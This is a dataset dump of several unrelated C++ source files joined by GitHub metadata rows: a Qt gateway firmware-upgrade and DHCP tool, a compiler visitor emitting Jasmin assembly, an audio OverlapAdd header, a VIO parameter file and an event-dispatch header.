QListWidgetItem *rmitem = notifyList->item(notifyRecordMax);
notifyList->removeItemWidget(rmitem);
rmitem = NULL;
}
normalNotifyCnt->show();
normalNotifyCnt->setText(QString(" %1").arg(notifyList->count()));
QPoint pos;
pos = msgwidget->pos();
QRect rect = msgwidget->contentsRect();
if (pos.rx() || pos.ry()) {
return ;
}
mainAnimation->setDuration(500);
mainAnimation->setStartValue(QRect(pos.rx(), pos.ry() - rect.height(), rect.width(), rect.height()));
mainAnimation->setEndValue(QRect(pos.rx(), pos.ry(), rect.width(), rect.height()));
mainAnimation->start();
}
void ActionBar::autoScript(Devices::devInfo &devInfo)
{
autoUpgrade(devInfo);
autoIpconfig(devInfo);
autoRemark(devInfo);
}
void ActionBar::autoUpgrade(Devices::devInfo &devInfo)
{
if (!autoUpgradeCehck->isChecked()) {
return ;
}
if (devInfo.version != autoUpgradeCurrVerEdit->text()) {
return ;
}
for (int i = 0; DeviceDB::getFileStore().size(); i++) {
const Devices::fileStore &file = DeviceDB::getFileStore().at(i);
if (file.version == autoUpgradeTargetEdit->text() &&\
file.model == devInfo.model) {
windowConsole(devInfo.sn + "开始自动升级软件版本:" + file.version);
Devices::upgradeRecord updata;
updata.file = file.name;
updata.md5 = file.md5;
updata.remark = QString("升级文件为:" + file.name + "[" + file.md5 + "]");
updata.sn = devInfo.sn;
updata.model = devInfo.model;
updata.old_ver = devInfo.version;
updata.new_ver = file.version;
updata.state = Devices::statusText(Devices::upgradeWait);
updata.time = QDateTime::currentDateTime().toString("yyyy-MM-dd hh:mm:ss");
MainWindow::devices->setUpgrade(updata);
break;
}
}
}
void ActionBar::autoIpconfig(Devices::devInfo &devInfo)
{
}
void ActionBar::autoRemark(Devices::devInfo &devInfo)
{
if (!autoRemarkEdit->text().size()) {
return ;
}
if (!devInfo.remark.size()) {
MainWindow::devices->setRemark(devInfo.sn, autoRemarkEdit->text());
}
}
void ActionBar::deviceStatusChange(Devices::devInfo &devInfo)
{
switch (devInfo.state) {
case Devices::upgradeInProgress: {
uint32_t useTime = Devices::UpgradeTimerValue(devInfo.sn);
if (useTime < upgradeThresholdFloor &&\
useTime < devInfo.interval) {
/* 升级过程中短时间内收到的数据忽略 */
break;
}
QString tv;
Devices::getTargetVer(devInfo.sn, tv);
if (tv != devInfo.version || \
useTime > upgradeThresholdUpper ||\
useTime < upgradeThresholdFloor) {
devInfo.state = Devices::upgradeFailed;
addMessageItem(QString("<font color = red><u>%1</u></font>升级至版本(%2)失败").arg(devInfo.sn, tv));
}
else {
devInfo.state = Devices::upgradeSuccess;
addMessageItem(QString("<font color = green><u>%1</u></font>升级至版本(%2)成功").arg(devInfo.sn, tv));
}
MainWindow::devices->addUpgradeRecord(devInfo.sn, devInfo.state, devInfo.version, tv, devInfo.remark);
}
break;
case Devices::upgradeSuccess:
devInfo.state = Devices::upgradeSuccess;
break;
case Devices::upgradeWait:
/* devInfo.state = Devices::upgradeFailed; */
break;
case Devices::waitReboot:
devInfo.state = Devices::rebootInProgress;
break;
case Devices::rebootInProgress:
case Devices::upgradeFinish:
case Devices::offline:
devInfo.state = Devices::online;
break;
case Devices::online:
case Devices::upgradeFailed:
case Devices::deviceStatusEnd:
break;
}
MainWindow::devices->setStatus(devInfo.sn, devInfo.state);
}
void ActionBar::refreshComboBox(QComboBox *box)
{
int count = box->count();
for (int n = 0; n < count; n++) {
box->removeItem(0);
}
QList<QHostAddress> ipList = QNetworkInterface::allAddresses();
for (int n = 0; n < ipList.count(); n++) {
if (ipList[n].protocol() == QAbstractSocket::IPv4Protocol) {
box->addItem(ipList[n].toString());
}
}
}
void ActionBar::addKeepLiveRouter()
{
if (!httpServer)
return ;
httpServer->route("/gateway/upgrade", [this](const QHttpServerRequest &request) {
windowConsole(request.body().data());
windowConsole(QString("%1").arg(host(request)));
QJsonParseError err;
QJsonObject gateway = QJsonDocument::fromJson(request.body(), &err).object();
if (err.error)
return QString();
if (gateway["command"].toString() == "keepalive") {
Devices::devInfo devInfo;
QJsonObject dataObj = gateway["data"].toObject();
if (dataObj.isEmpty() == false) {
quint32 addr_origin = request.remoteAddress().toIPv4Address();
QHostAddress addr_host = QHostAddress(addr_origin);
QDateTime currDate = QDateTime::currentDateTime();
QString currDateStr = currDate.toString("yyyy-MM-dd hh:mm:ss");
/* 解析并更新设备数据 */
devInfo.state = Devices::online;
devInfo.sn = dataObj["gateway_id"].toString();
if (!Devices::getInfo(devInfo.sn, devInfo)) {
QApplication::alert(this);
Devices::devInfo dbdata;
DeviceDB::select(devInfo.sn, dbdata);
devInfo.remark = dbdata.remark;
}
devInfo.time = currDateStr;
devInfo.ip = addr_host.toString();
devInfo.version = dataObj["version"].toString();
devInfo.model = dataObj["model"].toString();
devInfo.interval = dataObj["interval"].toInt();
deviceStatusChange(devInfo);
/* 保存最新的设备数据 */
MainWindow::devices->addInfo(devInfo.sn, devInfo);
addMessageItem(QString("SN:<font color = #EE0000><u>%1</u></font>\
IP:<font color = blue><u>%2</u></font>").arg(devInfo.sn, devInfo.ip));
windowConsole(QString("网关ID %1 \n 版本 %2 型号 %3 \n")\
.arg(devInfo.sn)\
.arg(devInfo.version)\
.arg(devInfo.model));
Devices::setFileDownUrl(fileDownUrl.arg(host(request)));
/* */
autoScript(devInfo);
QString msg = Devices::popOperatorCmd(devInfo.sn);
if (msg.length()) {
windowConsole("发送消息给设备" + QString(msg));
return msg;
}
}
}
return QString();
});
}
void ActionBar::addUpgradeRouter()
{
httpServer->route("/gateway/upgrade/file=<arg>", [this] (const QUrl &url, const QHttpServerRequest &request) {
Devices::devInfo devInfo;
QString tv;
uint32_t cip = request.remoteAddress().toIPv4Address();
MainWindow::devices->setStatus(cip, Devices::upgradeInProgress);
Devices::getInfo(cip, devInfo);
Devices::getTargetVer(devInfo.sn, tv);
MainWindow::devices->addUpgradeRecord(devInfo.sn, devInfo.state, devInfo.version, tv, devInfo.remark);
QByteArray data;
if (!DeviceDB::getFile(url.path(), data)) {
windowConsole(QString("未发现MD5为:%1的文件").arg(url.path()));
}
else {
windowConsole(QString("开始发送文件MD5为:%1到服务器").arg(url.path()));
}
return data;
});
}
void ActionBar::interfaceListInit()
{
interfaceList = QNetworkInterface::allInterfaces();
for (int i = 0; i < interfaceList.count(); i++){
QNetworkInterface var = interfaceList[i];
httpInterfaces->addItem(var.humanReadableName());
httpInterfaces->setCurrentText("以太网");
}
}
void ActionBar::dhcpAutoConfig()
{
QHostAddress srvaddr(dhcpSrvIp->currentText());
uint8_t netmasklen = 0;
uint32_t broadcastip = 0;
uint32_t subip = 0;
uint32_t startip = 0;
uint32_t endip = 0;
if (dhcpNetMask->text().length() == 0) {
dhcpNetMask->setText("255.255.255.0");
}
QPair<QHostAddress, int> pair = QHostAddress::parseSubnet(dhcpSrvIp->currentText() + "/" + dhcpNetMask->text());
netmasklen = pair.second;
subip = pair.first.toIPv4Address();
startip = subip + 2;
broadcastip = subip;
for (int n = 0; n < 32 - netmasklen; n++) {
broadcastip |= 0x01 << n;
}
endip = broadcastip - 1;
dhcpStartIP->setText(QHostAddress(startip).toString());
dhcpEndIP->setText(QHostAddress(endip).toString());
dhcpGatewawy->setText(QHostAddress(subip + 1).toString());
dhcpRouter->setText(srvaddr.toString());
dhcpBroadcast->setText(QHostAddress(broadcastip).toString());
}
bool ActionBar::httpServerRun()
{
if (httpServer)
return false;
httpServer = new QHttpServer();
if (!httpServer)
return false;
windowConsole("等待启动http服务器");
addKeepLiveRouter();
addUpgradeRouter();
QHostAddress listenip;
if (ifipBox->currentText() == anyAddress) {
listenip.setAddress(QHostAddress::Any);
}
else {
listenip.setAddress(ifipBox->currentText());
}
uint16_t listenport = listenportEdit->text().toUShort();
listenport = listenport ? listenport : (listenportEdit->setText("4998"), 4998);
windowConsole(QString("启动服务器[%1:%2]").arg(listenip.toString()).arg(listenport));
const auto port = httpServer->listen(listenip, listenport);
if (!port) {
windowConsole("启动http服务器失败");
addMessageItem("<font color = red>HTTP服务启动失败</font>");
delete httpServer;
httpServer = NULL;
return false;
}
else {
windowConsole("启动http服务器成功");
addMessageItem("<font color = green>HTTP服务启动成功</font>");
httpRunBtn->setDisabled(true);
httpStopBtn->setDisabled(false);
httpInterfaces->setEnabled(false) ;
ifipBox->setEnabled(false);
listenportEdit->setDisabled(true);
return true;
}
}
bool ActionBar::httpServerStop()
{
if (!httpServer)
return false;
delete httpServer;
httpServer = NULL;
httpRunBtn->setDisabled(false);
httpStopBtn->setDisabled(true);
httpInterfaces->setEnabled(true) ;
ifipBox->setEnabled(true);
listenportEdit->setDisabled(false);
windowConsole("关闭http服务器成功");
refreshComboBox(ifipBox);
return true;
}
void ActionBar::interfaceSelectChange(int index)
{
int count = 0;
QNetworkInterface var = interfaceList[index];
windowConsole("interface选择改变为" + var.humanReadableName());
count = ifipBox->count();
for (int n = 0; n < count; n++) {
ifipBox->removeItem(0);
}
ifipBox->addItem(anyAddress);
QList<QHostAddress> ipList = var.allAddresses();
count = ipList.count();
for (int n = 0; n < count; n++) {
if (ipList[n].protocol() == QAbstractSocket::IPv4Protocol) {
ifipBox->addItem(ipList[n].toString());
}
}
}
void ActionBar::messagePopUp()
{
addMessageItem("message notify ");
}
void ActionBar::listWidgetItemClickd(QListWidgetItem *item)
{
notifyList->removeItemWidget(item);
delete item;
normalNotifyCnt->setText(QString(" %1").arg(notifyList->count()));
if (notifyList->count() <= 0) {
normalNotifyCnt->hide();
}
}
void ActionBar::messageAutoClear()
{
msgClearTimer->stop();
msgLabel->clear();
}
void ActionBar::clearAllNotify()
{
normalNotifyCnt->hide();
notifyList->clear();
}
bool ActionBar::dhcpServerRun()
{
DhcpServer::dhcpcfg cfg;
windowConsole("DHCP服务启动");
cfg.srvip = QHostAddress(dhcpSrvIp->currentText()).toIPv4Address();
cfg.startip = QHostAddress(dhcpStartIP->text()).toIPv4Address();
cfg.endip = QHostAddress(dhcpEndIP->text()).toIPv4Address();
cfg.netmask = QHostAddress(dhcpNetMask->text()).toIPv4Address();
cfg.gateway = QHostAddress(dhcpGatewawy->text()).toIPv4Address();
cfg.router = QHostAddress(dhcpRouter->text()).toIPv4Address();
cfg.broadcast = QHostAddress(dhcpBroadcast->text()).toIPv4Address();
if (dhcpsrv->start(cfg)) {
dhcpRunBtn->setDisabled(true);
dhcpStopBtn->setDisabled(false);
dhcpSrvIp->setDisabled(true);
dhcpStartIP->setDisabled(true);
dhcpEndIP->setDisabled(true);
dhcpNetMask->setDisabled(true);
dhcpGatewawy->setDisabled(true);
dhcpRouter->setDisabled(true);
dhcpBroadcast->setDisabled(true);
return true;
}
return false;
}
bool ActionBar::dhcpServerStop()
{
windowConsole("DHCP服务停止");
refreshComboBox(dhcpSrvIp);
if (dhcpsrv->stop()) {
dhcpRunBtn->setDisabled(false);
dhcpStopBtn->setDisabled(true);
dhcpSrvIp->setDisabled(false);
dhcpStartIP->setDisabled(false);
dhcpEndIP->setDisabled(false);
dhcpNetMask->setDisabled(false);
dhcpGatewawy->setDisabled(false);
dhcpRouter->setDisabled(false);
dhcpBroadcast->setDisabled(false);
return true;
}
return false;
}
void ActionBar::setEnabled(QList<QWidget *> &widgets, bool flag)
{
for (int i = 0; i < widgets.size(); ++i) {
widgets.at(i)->setEnabled(flag);
}
}
void ActionBar::dhcpServerIpChange(int index)
{
windowConsole("当前选择服务器IP为" + dhcpSrvIp->currentText());
dhcpAutoConfig();
}
void ActionBar::dhcpserverMaskChange(const QString &text)
{
dhcpAutoConfig();
}
| [
"noreply@github.com"
] | storyyey.noreply@github.com |
85200c0c5f2f15c581ea88450adb88b9f8b5d2b8 | 4c7d1c05e509d1dbef99c66c324bc13dd05929f4 | /FinalCompilerDeliverables/src/CloudsPass1Visitor.cpp | ccd887fd4fc55d7420e3e973419f9a98061fde2f | [] | no_license | amridris/3dProgrammingLang-CMPE152- | c3f18ecfbb0e3dd50159939eb5a1d30e77f743e8 | 8d9784780efef10f3a01c10c9b3b767bf0aeb17a | refs/heads/master | 2020-05-30T14:21:04.604486 | 2018-05-17T18:24:07 | 2018-05-17T18:24:07 | 189,788,565 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 13,060 | cpp | #include <iostream>
#include <string>
#include <vector>
#include "CloudsPass1Visitor.h"
#include "wci/intermediate/SymTabFactory.h"
#include "wci/intermediate/symtabimpl/Predefined.h"
#include "wci/util/CrossReferencer.h"
using namespace std;
using namespace wci;
using namespace wci::intermediate;
using namespace wci::intermediate::symtabimpl;
using namespace wci::util;
CloudsPass1Visitor::CloudsPass1Visitor()
: program_id(nullptr), j_file(nullptr)
{
// Create and initialize the symbol table stack.
symtab_stack = SymTabFactory::create_symtab_stack();
Predefined::initialize(symtab_stack);
//cout << "=== Pass1Visitor(): symtab stack initialized." << endl;
}
CloudsPass1Visitor::~CloudsPass1Visitor() {}
ostream& CloudsPass1Visitor::get_assembly_file() { return j_file; }
antlrcpp::Any CloudsPass1Visitor::visitProgram(CloudsParser::ProgramContext *ctx)
{
variable_id_list.resize(0);
collisionFunctions.resize(0);
auto value = visitChildren(ctx);
// cout << "=== visitProgram: Printing xref table." << endl;
// Print the cross-reference table.
CrossReferencer cross_referencer;
cross_referencer.print(symtab_stack);
//Generate collisions switch case function
j_file << "\n\n.method private static handleCollision(I)V\n\n";
//put switch case for collisions from collisionFunctions vector here
int counter = 1;
j_file << "\tiload_0\n";
j_file<< "\tlookupswitch\n";
for(string name: collisionFunctions)
{
j_file <<"\t\t" << counter << ": L" << counter << "\n";
counter++;
}
j_file << "\t\tdefault: END_COLLISION\n\n";
counter = 1;
for(string name: collisionFunctions)
{
//function call
j_file << "\tL" <<counter << ":\n";
j_file << "\t\tinvokestatic " << program_name << "/" << name << "()V\n";
j_file << "\t\tgoto END_COLLISION\n";
counter++;
}
j_file << "\tEND_COLLISION:\n";
j_file << "\treturn\n\n";
j_file << ".limit locals 1\n";
j_file << ".limit stack 50\n";
j_file << ".end method\n\n";
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitHeader(CloudsParser::HeaderContext *ctx)
{
// cout << "=== visitHeader: " + ctx->getText() << endl;
program_name = "collisionengine/" + ctx->ID()->toString();
program_id = symtab_stack->enter_local(program_name);
program_id->set_definition((Definition)DF_PROGRAM);
program_id->set_attribute((SymTabKey) ROUTINE_SYMTAB,
new EntryValue(symtab_stack->push()));
symtab_stack->set_program_id(program_id);
// Create the assembly output file.
j_file.open(program_name + ".j");
if (j_file.fail())
{
cout << "***** Cannot open assembly file." << endl;
exit(-99);
}
// Emit the program header.
j_file << ".class public " << program_name << endl;
j_file << ".super java/lang/Object" << endl;
// Emit the RunTimer and PascalTextIn fields.
j_file << endl;
j_file << ".field private static _runTimer LRunTimer;" << endl;
j_file << ".field private static _standardIn LPascalTextIn;" << endl;
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitFunctionInit(CloudsParser::FunctionInitContext *ctx)
{
auto type = Predefined::undefined_type;
if(ctx->return_type() != nullptr){
string type_name = ctx->return_type()->TYPE()->toString();
if(type_name == "int"){
type = Predefined::integer_type;
}
else if(type_name == "float"){
type = Predefined::real_type;
}
else if(type_name == "cube"){
type = Predefined::RectPrism_type;
}
else if(type_name == "sphere"){
type = Predefined::Sphere_type;
}
else if(type_name == "cylinder"){
type = Predefined::Cylinder_type;
}
else {
type = Predefined::undefined_type;
}
}
else{
type = Predefined::undefined_type;
}
string variable_name = ctx->ID()->toString() + "()";
SymTabEntry *variable_id = symtab_stack->enter_local(variable_name);
variable_id->set_definition((Definition)DF_VARIABLE);
variable_id->set_typespec(type);
variable_id_list.push_back(variable_id);
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitBody(CloudsParser::BodyContext *ctx)
{
auto value = visitChildren(ctx);
// Emit the class constructor.
j_file << endl;
j_file << ".method public <init>()V" << endl;
j_file << endl;
j_file << "\taload_0" << endl;
j_file << "\tinvokenonvirtual java/lang/Object/<init>()V" << endl;
j_file << "\treturn" << endl;
j_file << endl;
j_file << ".limit locals 1" << endl;
j_file << ".limit stack 1" << endl;
j_file << ".end method" << endl;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitEnvironments(CloudsParser::EnvironmentsContext *ctx)
{
//change to dynamic if this doesn't work
j_file << ".field private static "
<< ctx->ID()->toString() << "Engine " << "Lcollisionengine/CollisionEngine;" << endl;
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitInit_var(CloudsParser::Init_varContext *ctx)
{
//init_var = TYPE and ID
//TYPE
string var_type = ctx->TYPE()->toString();
string jas_type = "Lcollisionengine/";
if(var_type == "cube"){
ctx->variable()->type = Predefined::RectPrism_type;
jas_type += "RectPrism;";
}
//SPhere has radius
else if(var_type == "sphere"){
ctx->variable()->type = Predefined::Sphere_type;
jas_type += "Sphere;"; //array (not sure)
}
//cylinder (radius, height)
else if(var_type == "cylinder"){
ctx->variable()->type = Predefined::Cylinder_type;
jas_type += "Cylinder;"; //array (not sure)
}
/*
else if(var_type == "tetra"){
jas_type = "[I"; //array (not sure)
}
*/
else if(var_type == "point"){
ctx->variable()->type = Predefined::Point_type;
jas_type += "Point;"; //array (not sure)
}
else if(var_type == "int"){
ctx->variable()->type = Predefined::integer_type;
jas_type = "I"; //integer
}
else if(var_type == "float"){
ctx->variable()->type = Predefined::real_type;
jas_type = "F"; //float
}
else{
ctx->variable()->type = nullptr;
jas_type = "?"; //nullptr
}
//jasmin code
j_file << ".field private static "
<< ctx->variable()->ID()->toString() << " " << jas_type << endl;
//parsing identifiers and placing it in the system table
string variable_name = ctx->variable()->ID()->toString();
SymTabEntry *variable_id = symtab_stack->enter_local(variable_name);
variable_id->set_definition((Definition)DF_VARIABLE);
variable_id->set_typespec(ctx->variable()->type);
variable_id_list.push_back(variable_id);
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitWhen_stmt(CloudsParser::When_stmtContext *ctx)
{
collisionFunctions.push_back(ctx->ID()->toString());
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitAddSubExpr(CloudsParser::AddSubExprContext *ctx){
auto value = visitChildren(ctx);
TypeSpec *type1 = ctx->expr(0)->type;
TypeSpec *type2 = ctx->expr(1)->type;
bool integer_mode = (type1 == Predefined::integer_type)
&& (type2 == Predefined::integer_type);
bool real_mode = (type1 == Predefined::real_type)
&& (type2 == Predefined::real_type);
TypeSpec *type = integer_mode ? Predefined::integer_type
: real_mode ? Predefined::real_type
: nullptr;
ctx->type = type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitMulDivExpr(CloudsParser::MulDivExprContext *ctx){
auto value = visitChildren(ctx);
//check the expr type
TypeSpec *type1 = ctx->expr(0)->type;
TypeSpec *type2 = ctx->expr(1)->type;
//type checking if both nodes are of same type
bool integer_mode = (type1 == Predefined::integer_type)
&& (type2 == Predefined::integer_type);
bool real_mode = (type1 == Predefined::real_type)
&& (type2 == Predefined::real_type);
TypeSpec *type = integer_mode ? Predefined::integer_type
: real_mode ? Predefined::real_type
: nullptr;
//set the type
ctx->type = type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitRelExpr(CloudsParser::RelExprContext *ctx){
auto value = visitChildren(ctx);
//check the expr type
TypeSpec *type1 = ctx->expr(0)->type;
TypeSpec *type2 = ctx->expr(1)->type;
//type checking if both nodes are of same type
bool integer_mode = (type1 == Predefined::integer_type)
&& (type2 == Predefined::integer_type);
bool real_mode = (type1 == Predefined::real_type)
&& (type2 == Predefined::real_type);
TypeSpec *type = integer_mode ? Predefined::integer_type
: real_mode ? Predefined::real_type
: nullptr;
//set the type
ctx->type = type;
return value;
}
/*
antlrcpp::Any CloudsPass1Visitor::visitRotExpr(CloudsParser::RotExprContext *ctx){
auto value = visitChildren(ctx);
//check the expr type
TypeSpec *type1 = ctx->expr(0)->type;
TypeSpec *type2 = ctx->expr(1)->type;
//type checking if both nodes are of same type
bool integer_mode = (type1 == Predefined::integer_type)
&& (type2 == Predefined::integer_type);
bool real_mode = (type1 == Predefined::real_type)
&& (type2 == Predefined::real_type);
TypeSpec *type = integer_mode ? Predefined::integer_type
: real_mode ? Predefined::real_type
: nullptr;
//set the type
ctx->type = type;
return value;
}
*/
antlrcpp::Any CloudsPass1Visitor::visitSignedNumberConst(CloudsParser::SignedNumberConstContext *ctx){
auto value = visitChildren(ctx);
ctx->type = ctx->signedNumber()->type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitSignedNumber(CloudsParser::SignedNumberContext *ctx){
auto value = visit(ctx->number());
ctx->type = ctx->number()->type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitNumberConst(CloudsParser::NumberConstContext *ctx){
auto value = visit(ctx->number());
ctx->type = ctx->number()->type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitIntegerConst(CloudsParser::IntegerConstContext *ctx){
ctx->type = Predefined::integer_type;
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitFloatConst(CloudsParser::FloatConstContext *ctx){
ctx->type = Predefined::real_type;
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitParens(CloudsParser::ParensContext *ctx){
auto value = visitChildren(ctx);
ctx->type = ctx->expr()->type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitExprvariable(CloudsParser::ExprvariableContext *ctx)
{
auto value = visitChildren(ctx);
ctx->type = ctx->variable()->type;
return value;
}
antlrcpp::Any CloudsPass1Visitor::visitVariable(CloudsParser::VariableContext *ctx)
{
if(ctx->obj_vars() == nullptr){
string variable_name = ctx->ID()->toString();
SymTabEntry *variable_id = symtab_stack->lookup(variable_name);
ctx->type = variable_id->get_typespec();
}
else{
ctx->type = Predefined::integer_type;
}
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitFunctionCall(CloudsParser::FunctionCallContext *ctx)
{
string variable_name = ctx->ID()->toString() + "()";
SymTabEntry *variable_id = symtab_stack->lookup(variable_name);
if(variable_id != nullptr){
if(variable_id->get_typespec() != nullptr){
ctx->type = variable_id->get_typespec();
}
else{
ctx->type = nullptr;
}
}
return visitChildren(ctx);
}
antlrcpp::Any CloudsPass1Visitor::visitExprFunctionCall(CloudsParser::ExprFunctionCallContext *ctx)
{
auto value = visitChildren(ctx);
ctx->type = ctx->functionCall()->type;
return value;
}
| [
"jacob.o.jones@gmail.com"
] | jacob.o.jones@gmail.com |
b02a11b02b38ea75962e6c8f55d69651d42066c4 | 3a6ad2aae6210dac61b2c8d058fe9b372f85b4ae | /scons/libs/processing/include/CLAM/OverlapAdd.hxx | c77153bde9c2f7b901b6a29d4cada2f6408e800b | [] | no_license | millerthegorilla/clam | d6551afc56db62d293adce1c9b72e2828455b60d | 5e0e95394b57260af75af0cc7a5bc800c46cf750 | refs/heads/master | 2020-12-25T14:48:19.716915 | 2016-09-03T14:03:59 | 2016-09-03T14:03:59 | 67,293,280 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,109 | hxx | /*
* Copyright (c) 2001-2004 MUSIC TECHNOLOGY GROUP (MTG)
* UNIVERSITAT POMPEU FABRA
*
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#ifndef _OverlapAdd_
#define _OverlapAdd_
#include "Array.hxx"
#include "Audio.hxx"
#include "DataTypes.hxx"
#include "DynamicType.hxx"
#include "Processing.hxx"
#include "Storage.hxx"
#include "OverlapAddConfig.hxx"
#include "AudioInPort.hxx"
#include "AudioOutPort.hxx"
namespace CLAM {
class OverlapAdd;
/* Was:
For good results FrameSize should be the same as HopSize; and BufferSize should
be at least FrameSize+HopSize
*/
/** Configuration class for Overlapp Add Processing.
* HopSize configures the write size of the circular buffer (note that the write size is
* here understood as the portion of the frame that is overwritten, not added).
* FrameSize configures the read size of the circular buffer.
* BufferSize configures the overall physical size of the circular buffer.
* Currently, HopSize must be hop size, FrameSize must be hop size and
* BufferSize must be twice hop size (as it will do 50% overlap).
*/
/* OverlapAddConfig moved to OverlapAddConfig.hxx */
/** OverlapAdd Processing class.
* First half of the input buffer or audio (which is of buffer size) is added to
* existing data in the circular buffer (ie. 'mixed in'), second half overwrites
* existing data. When reading, only already overlapped regions should be given as
* output (this overlapped region and thus the output will be of frame size).
* @see OverlapAddConfig
*/
class OverlapAdd: public Processing
{
public:
OverlapAdd(const OverlapAddConfig &c=OverlapAddConfig());
~OverlapAdd();
const ProcessingConfig &GetConfig() const { return mConfig;}
/* do methods */
/** Unsupervised Do method, not implemented */
bool Do(void);
/** Do method
* @param in: input Audio (size must be buffer size).
* @param out: output Audio (size must be frame size).
*/
bool Do( const Audio &in, Audio &out);
private:
const char *GetClassName() const {return "OverlapAdd";}
/** Configuration change method
* @pre argument should be an OverlapAddConfig
*/
bool ConcreteConfigure(const ProcessingConfig&);
/* protected methods */
protected:
OverlapAddConfig mConfig;
AudioInPort mInput;
AudioOutPort mOutput;
Audio mTmp;
};
} //end of namespace CLAM
#endif // _OverlapAdd_
| [
"jamesstewartmiller@gmail.com"
] | jamesstewartmiller@gmail.com |
38352e3eb3926b843123787a5c43acf87a83b80d | 1801bcd49a9bf33b8ce48583bfeebc7ae52a7ae3 | /src/param.cpp | ade6bd1fff4897fcf741adcef14747b5c6b755f2 | [
"MIT"
] | permissive | mfkiwl/VIO_JRE | 3c137b4871cba78ee9abbe0d3321a235aa2ca34b | 17fcf67b8d790da30cfb8b44b78e5d6f57b14b7c | refs/heads/master | 2023-05-29T08:45:06.287292 | 2019-11-27T15:24:36 | 2019-11-27T15:24:36 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 440 | cpp | //
// Created by hyj on 17-6-22.
//
#include "param.h"
Param::Param()
{
Eigen::Matrix3d R;
// 把body坐标系朝向旋转一下,得到相机坐标系,好让它看到landmark,
// 相机坐标系的轴在body坐标系中的表示
// 相机朝着轨迹里面看, 特征点在轨迹外部, 这里我们采用这个
R << 0, 0, -1, -1, 0, 0, 0, 1, 0;
R_bc = R;
t_bc = Eigen::Vector3d(0.05, 0.04, 0.03);
}
| [
"guanwenhao55@163.com"
] | guanwenhao55@163.com |
ca35f6db611bc33df63cfe13fd4e7aeb6e9a9c5f | 54b9ee00bcd582d56853ddb90be5cfeb0c29ba29 | /src/utils/voyager_dispatch.h | e0ac24e199063e0998685ad6612029ed9d507a1b | [
"BSD-3-Clause"
] | permissive | pengdu/bubblefs | 8f4deb8668831496bb0cd8b7d9895900b1442ff1 | 9b27e191a287b3a1d012adfd3bab6a30629a5f33 | refs/heads/master | 2020-04-04T19:32:11.311925 | 2018-05-02T11:20:18 | 2018-05-02T11:20:18 | 156,210,664 | 2 | 0 | null | 2018-11-05T11:57:22 | 2018-11-05T11:57:21 | null | UTF-8 | C++ | false | false | 2,723 | h | // Copyright (c) 2016 Mirants Lu. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// voyager/voyager/core/dispatch.h
#ifndef BUBBLEFS_UTILS_VOYAGER_DISPATCH_H_
#define BUBBLEFS_UTILS_VOYAGER_DISPATCH_H_
#include <sys/poll.h>
#include <assert.h>
#include <functional>
#include <memory>
#include <utility>
namespace bubblefs {
namespace myvoyager {
class EventLoop;
class Dispatch {
public:
typedef std::function<void()> EventCallback;
enum ModifyEvent {
kNoModify = 0,
kAddRead = 1,
kAddWrite = 2,
kDeleteRead = 3,
kDeleteWrite = 4,
kEnableWrite = 5,
kDisableWrite = 6,
kDeleteAll = 7,
};
Dispatch(EventLoop* eventloop, int fd);
~Dispatch();
int Fd() const { return fd_; }
int Events() const { return events_; }
void SetRevents(int rv) { revents_ = rv; }
void SetIndex(int index) { index_ = index; }
int Index() const { return index_; }
void HandleEvent();
void SetReadCallback(const EventCallback& cb) { read_cb_ = cb; }
void SetWriteCallback(const EventCallback& cb) { write_cb_ = cb; }
void SetCloseCallback(const EventCallback& cb) { close_cb_ = cb; }
void SetErrorCallback(const EventCallback& cb) { error_cb_ = cb; }
void SetReadCallback(EventCallback&& cb) { read_cb_ = std::move(cb); }
void SetWriteCallback(EventCallback&& cb) { write_cb_ = std::move(cb); }
void SetCloseCallback(EventCallback&& cb) { close_cb_ = std::move(cb); }
void SetErrorCallback(EventCallback&& cb) { error_cb_ = std::move(cb); }
void EnableRead();
void EnableWrite();
void DisableRead();
void DisableWrite();
void DisableAll();
bool IsNoneEvent() const { return events_ == kNoneEvent; }
bool IsReading() const { return events_ & kReadEvent; }
bool IsWriting() const { return events_ & kWriteEvent; }
void RemoveEvents();
EventLoop* OwnerEventLoop() const { return eventloop_; }
void Tie(const std::shared_ptr<void>& obj);
int Modify() const { return modify_; }
private:
void UpdateEvents();
void HandleEventWithGuard();
static const int kNoneEvent = 0;
static const int kReadEvent = POLLIN | POLLPRI;
static const int kWriteEvent = POLLOUT;
EventLoop* eventloop_;
const int fd_;
int events_;
int revents_;
int index_;
ModifyEvent modify_;
bool add_write_;
std::weak_ptr<void> tie_;
bool tied_;
bool event_handling_;
EventCallback read_cb_;
EventCallback write_cb_;
EventCallback close_cb_;
EventCallback error_cb_;
// No copying allowed
Dispatch(const Dispatch&);
void operator=(const Dispatch&);
};
} // namespace myvoyager
} // namespace bubblefs
#endif // BUBBLEFS_UTILS_VOYAGER_DISPATCH_H_ | [
"691225916@qq.com"
] | 691225916@qq.com |
